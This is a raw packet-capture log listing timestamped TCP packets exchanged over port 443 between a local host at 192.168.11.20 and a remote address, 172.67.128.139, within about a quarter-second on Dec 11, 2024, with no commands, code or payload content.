Dec 11, 2024 12:14:47.493657112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.495564938 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.495595932 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.495743990 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.495743990 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.495837927 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.495845079 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.496454954 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.497766018 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.497800112 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.497908115 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.497908115 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.497953892 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.497966051 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.498004913 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.498105049 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.498151064 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.499633074 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.499669075 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.499794006 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.499794006 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.499845028 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.499845028 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.499859095 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.499887943 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.500003099 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.501513958 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.501544952 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.501676083 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.501676083 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.501698017 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.501729965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.501775026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.501822948 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.502945900 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.502994061 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.503170967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.503170967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.503170967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.503199100 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.503215075 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.503215075 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.503362894 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.505665064 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.505685091 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.505852938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.505901098 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.505901098 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.505913019 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.506108046 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.507493973 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.507513046 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.507688999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.507688999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.507736921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.507752895 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.507786036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.507833958 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.507930040 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.509460926 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.509483099 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.509650946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.509650946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.509682894 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.509701967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.509701967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.509844065 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.511315107 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.511334896 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.511456013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.511456013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.511524916 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.511542082 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.511558056 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.511558056 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.511673927 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.513556957 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.513575077 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.513744116 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.513791084 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.513791084 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.513806105 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.513991117 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.515408039 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.515424967 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.515583038 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.515609026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.515609026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.515621901 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.515685081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.515954018 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.517363071 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.517381907 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.517513990 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.517560959 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.517560959 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.517585993 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.517611027 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.517658949 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.517757893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.519424915 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.519448996 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.519603014 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.519603014 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.519648075 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.519660950 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.519701958 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.519701958 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.519867897 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.521385908 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.521405935 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.521544933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.521544933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.521589041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.521589041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.521604061 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.521640062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.521778107 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.523369074 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.523386955 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.523526907 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.523574114 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.523574114 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.523586988 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.523622036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.523669958 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.523834944 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.525232077 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.525255919 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.525415897 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.525464058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.525464058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.525482893 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.525614023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.527103901 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.527127981 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.527234077 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.527235031 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.527282000 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.527282000 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.527292013 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.527391911 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.527440071 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.529236078 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.529259920 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.529428959 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.529428959 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.529428959 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.529450893 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.529525042 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.529586077 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.572390079 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.592530012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.688462973 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.688482046 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.688738108 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.688738108 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.688738108 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.688760042 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.688852072 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.688906908 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.690260887 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.690275908 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.690443039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.690459967 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.690490961 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.690490961 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.690617085 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.692197084 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.692210913 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.692352057 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.692352057 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.692399025 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.692411900 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.692451954 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.692548037 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.693723917 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.693741083 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.693965912 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.693965912 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.693979979 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.694015026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.694211960 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.695488930 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.695511103 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.695694923 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.695694923 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.695741892 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.695741892 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.695741892 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.695749998 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.695926905 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.697804928 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.697820902 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.697959900 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.698004961 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.698004961 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.698019028 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.698103905 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.698205948 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.699462891 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.699480057 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.700192928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.700192928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.700192928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.700206995 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.700521946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.701234102 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.701247931 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.701396942 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.701396942 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.701462984 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.701472044 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.701513052 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.701513052 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.701611996 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.702903986 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.702920914 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.703064919 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.703120947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.703139067 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.703139067 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.703147888 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.703185081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.703285933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.704830885 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.704843998 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.705051899 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.705051899 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.705051899 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.705066919 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.705152035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.705199957 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.706959009 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.706974983 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.707119942 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.707119942 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.707165956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.707165956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.707176924 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.707215071 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.707329035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.708544016 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.708560944 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.708767891 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.708820105 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.708868027 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.708873034 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.708916903 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.709027052 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.709080935 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.710495949 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.710509062 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.710643053 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.710769892 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.710769892 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.710787058 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.710962057 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.712208986 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.712229967 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.712462902 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.712522984 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.712569952 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.712579012 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.712646008 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.712646008 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.712840080 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.713958979 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.713974953 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.714118004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.714118004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.714118004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.714134932 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.714165926 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.714266062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.714314938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.716010094 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.716028929 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.716182947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.716182947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.716232061 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.716232061 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.716232061 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.716245890 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.716378927 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.717580080 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.717592955 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.717755079 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.717755079 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.717773914 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.717802048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.717900038 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.717948914 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.719639063 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.719654083 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.719846964 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.719858885 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.719896078 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.719896078 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.719991922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.721848965 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.721878052 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.721993923 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.722043037 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.722043037 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.722052097 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.722095013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.722095013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.722244024 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.723640919 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.723654032 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.723824978 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.723824978 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.723845005 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.723870993 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.723968983 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.724066973 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.725131035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.725143909 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.725323915 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.725372076 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.725378990 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.725418091 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.725517035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.726943016 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.726955891 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.727087021 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.727133989 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.727185011 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.727185011 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.727193117 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.727283001 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.727350950 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.729197979 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.729222059 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.729373932 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.729373932 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.729419947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.729419947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.729429007 CET	443	49776	172.67.128.139	192.168.11.20
